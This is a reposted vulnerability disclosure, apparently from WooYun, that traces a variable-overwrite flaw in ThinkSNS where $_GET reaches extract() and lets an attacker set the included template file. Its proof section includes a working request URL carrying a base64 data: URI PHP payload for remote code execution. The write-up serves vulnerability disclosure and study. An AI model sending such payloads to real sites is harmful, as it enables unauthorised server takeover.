热门关键字:   网站安全  黑客攻防  安全漏洞  系统安全  网络安全
站外
广告
域名申请虚拟主机 信息安全 域名注册 云主机 网络安全技术 企业网络安全 站外
广告
文字广告位招租 文字广告位招租 文字广告位招租 文字广告位招租 云安全

ThinkSNS 文件包含getshell一枚

发布时间:2014-02-24 10:00文章来源:wooyun文章作者:猪头子 点击次数:
摘要:漏洞作者: 猪头子 提交时间: 2013-11-24 23:21 公开时间: 2014-02-22 23:21 漏洞类型: 文件包含 简要描述: ThinkSNS某处处理不当导致get shell 详细说明: \apps\public\Lib\Action\CommentAction.class.phpreply函数 publicfunctionreply(){ $ var =$_...

漏洞作者: 猪头子

提交时间: 2013-11-24 23:21
公开时间: 2014-02-22 23:21

漏洞类型: 文件包含
简要描述:

ThinkSNS某处处理不当导致get shell
详细说明:

 

  1. \apps\public\Lib\Action\CommentAction.class.php reply函数 
  2.  
  3. public function reply() { 
  4.  
  5. $var = $_GET; 
  6.  
  7. $var['initNums'] = model('Xdata')->getConfig('weibo_nums', 'feed'); 
  8.  
  9. $var['commentInfo'] = model('Comment')->getCommentInfo($var['comment_id'], false); 
  10.  
  11. $var['canrepost'] = $var['commentInfo']['table'] == 'feed' ? 1 : 0; 
  12.  
  13. $var['cancomment'] = 1; 
  14.  
  15. // 获取原作者信息 
  16.  
  17. $rowData = model('Feed')->get(intval($var['commentInfo']['row_id'])); 
  18.  
  19. $appRowData = model('Feed')->get($rowData['app_row_id']); 
  20.  
  21. $var['user_info'] = $appRowData['user_info']; 
  22.  
  23. // 微博类型 
  24.  
  25. $var['feedtype'] = $rowData['type']; 
  26.  
  27. // $var['cancomment_old'] = ($var['commentInfo']['uid'] != $var['commentInfo']['app_uid'] && $var['commentInfo']['app_uid'] != $this->uid) ? 1 : 0; 
  28.  
  29. $var['initHtml'] = L('PUBLIC_STREAM_REPLY').'@'.$var['commentInfo']['user_info']['uname'].' :'; // 回复 
  30.  
  31. $this->assign($var); 
  32.  
  33. $this->display(); 
  34.  

 

不管中间过程,$var被赋值被$_GET,并在最后进入了assign函数

 

  1. \core\OpenSociax\Action.class.php assign 
  2.  
  3. public function assign($name,$value='') { 
  4.  
  5. if(is_array($name)) { 
  6.  
  7. $this->tVar = array_merge($this->tVar,$name); 
  8.  
  9. }elseif(is_object($name)){ 
  10.  
  11. foreach($name as $key =>$val) 
  12.  
  13. $this->tVar[$key] = $val; 
  14.  
  15. }else { 
  16.  
  17. $this->tVar[$name] = $value; 
  18.  
  19.  

 

assign其实就是给模板变量赋值,也就是说我们的$_GET最后进入了模板变量中。

然后回到一开始的reply函数,可以看到在最后调用了display:

 

  1. \core\OpenSociax\functions.inc.php display函数 
  2.  
  3. // 输出模版 
  4.  
  5. function display($templateFile='',$tvar=array(),$charset='UTF8',$contentType='text/html') { 
  6.  
  7. fetch($templateFile,$tvar,$charset,$contentType,true); 
  8.  

 

fetch找到相应的模板并和我们提交的变量结合编译之:

 

  1. \core\OpenSociax\Action.class.php fetch函数 
  2.  
  3. protected function fetch($templateFile='',$charset='utf-8',$contentType='text/html',$display=false) { 
  4.  
  5. $this->assign('appCssList',$this->appCssList); 
  6.  
  7. $this->assign('langJsList', $this->langJsList); 
  8.  
  9. Addons::hook('core_display_tpl', array('tpl'=>$templateFile,'vars'=>$this->tVar,'charset'=>$charset,'contentType'=>$contentType,'display'=>$display)); 
  10.  
  11. return fetch($templateFile, $this->tVar, $charset, $contentType, $display); 
  12.  

 

把请求转发给真正的fetch函数:

 

  1. \core\OpenSociax\functions.inc.php 
  2.  
  3. function fetch($templateFile='',$tvar=array(),$charset='utf-8',$contentType='text/html',$display=false) { 
  4.  
  5. //注入全局变量ts 
  6.  
  7. global $ts; 
  8.  
  9. $tvar['ts'] = $ts; 
  10.  
  11. //$GLOBALS['_viewStartTime'] = microtime(TRUE); 
  12.  
  13. if(null===$templateFile) 
  14.  
  15. // 使用null参数作为模版名直接返回不做任何输出 
  16.  
  17. return ; 
  18.  
  19. if(empty($charset)) $charset = C('DEFAULT_CHARSET'); 
  20.  
  21. // 网页字符编码 
  22.  
  23. header("Content-Type:".$contentType."; charset=".$charset); 
  24.  
  25. header("Cache-control: private"); //支持页面回跳 
  26.  
  27. //页面缓存 
  28.  
  29. ob_start(); 
  30.  
  31. ob_implicit_flush(0); 
  32.  
  33. // 模版名为空. 
  34.  
  35. if(''==$templateFile){ 
  36.  
  37. $templateFile = APP_TPL_PATH.'/'.MODULE_NAME.'/'.ACTION_NAME.'.html'; 
  38.  
  39. // 模版名为ACTION_NAME 
  40.  
  41. }elseif(file_exists(APP_TPL_PATH.'/'.MODULE_NAME.'/'.$templateFile.'.html')) { 
  42.  
  43. $templateFile = APP_TPL_PATH.'/'.MODULE_NAME.'/'.$templateFile.'.html'; 
  44.  
  45. // 模版是绝对路径 
  46.  
  47. }elseif(file_exists($templateFile)){ 
  48.  
  49. // 模版不存在 
  50.  
  51. }else{ 
  52.  
  53. throw_exception(L('_TEMPLATE_NOT_EXIST_').'['.$templateFile.']'); 
  54.  
  55.  
  56. //模版缓存文件 
  57.  
  58. $templateCacheFile = C('TMPL_CACHE_PATH').'/'.APP_NAME.'_'.tsmd5($templateFile).'.php'; 
  59.  
  60. //载入模版缓存 
  61.  
  62. if(!$ts['_debug'] && file_exists($templateCacheFile)) { 
  63.  
  64. //if(1==2){ //TODO 开发 
  65.  
  66. extract($tvar, EXTR_OVERWRITE); //exploit! 
  67.  
  68. //var_dump($_SESSION); 
  69.  
  70. //载入模版缓存文件 
  71.  
  72. include $templateCacheFile; //getshell here! 
  73.  
  74. //重新编译 
  75.  
  76. }else{ 
  77.  
  78. tshook('tpl_compile',array('templateFile',$templateFile)); 
  79.  
  80. // 缓存无效 重新编译 
  81.  
  82. tsload(CORE_LIB_PATH.'/Template.class.php'); 
  83.  
  84. tsload(CORE_LIB_PATH.'/TagLib.class.php'); 
  85.  
  86. tsload(CORE_LIB_PATH.'/TagLib/TagLibCx.class.php'); 
  87.  
  88. $tpl = Template::getInstance(); 
  89.  
  90. // 编译并加载模板文件 
  91.  
  92. $tpl->load($templateFile,$tvar,$charset);//getshell here! 
  93.  
  94.  
  95. ... ... 
  96.  

 

分析下这个函数的逻辑:

首先判断模板文件是否存在,不存在则尝试加载默认模板文件,如果加载失败就异常退出

其次如果模板文件存在,那么该文件是否缓存过,如果缓存过,那么直接include缓存文件,在include前使用extract对模板变量赋值

如果模板没有缓存,是第一次被调用,那么就编译模板文件并加载它

在使用缓存的时候程序用extract对变量进行赋值,可以看到第二个参数,EXTR_OVERWIRTE,表示如果某变量已经存在,那么就覆盖这个变量。

下面看看非缓存情况下的处理:

 

  1. \core\OpenSociax\Template.class.php load函数 
  2.  
  3. // 加载模板 
  4.  
  5. public function load($templateFile,$templateVar,$charset) { 
  6.  
  7. $this->tVar = $templateVar; 
  8.  
  9. $templateCacheFile = $this->loadTemplate($templateFile); 
  10.  
  11. // 模板阵列变量分解成为独立变量 
  12.  
  13. extract($templateVar, EXTR_OVERWRITE); 
  14.  
  15. //载入模版缓存文件 
  16.  
  17. include $templateCacheFile; 
  18.  

 

与缓存情况下相同,也是调用extract来覆盖变量,由于第二个参数的使用,因此如果模板变量可控的话,我们可以覆盖任意变量。

可以覆盖$templateCacheFile变量,这样变量覆盖就变成了任意文件包含,并可getshell.
漏洞证明:

上传一个jpg,然后include之:

 

ThinkSNS 文件包含getshell一枚

 

 

在allow_url_include为on下可以这样getshell:

http://www.evil.com/thinksns/index.php?app=public&mod=Comment&act=reply&templateCacheFile=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

 

 

ThinkSNS 文件包含getshell一枚

 

标签分类:

上一篇:ecshop 2.7.3 后台过滤不严可获取shell
下一篇:深喉咙CMS(shlcms PHP)SQL注射0day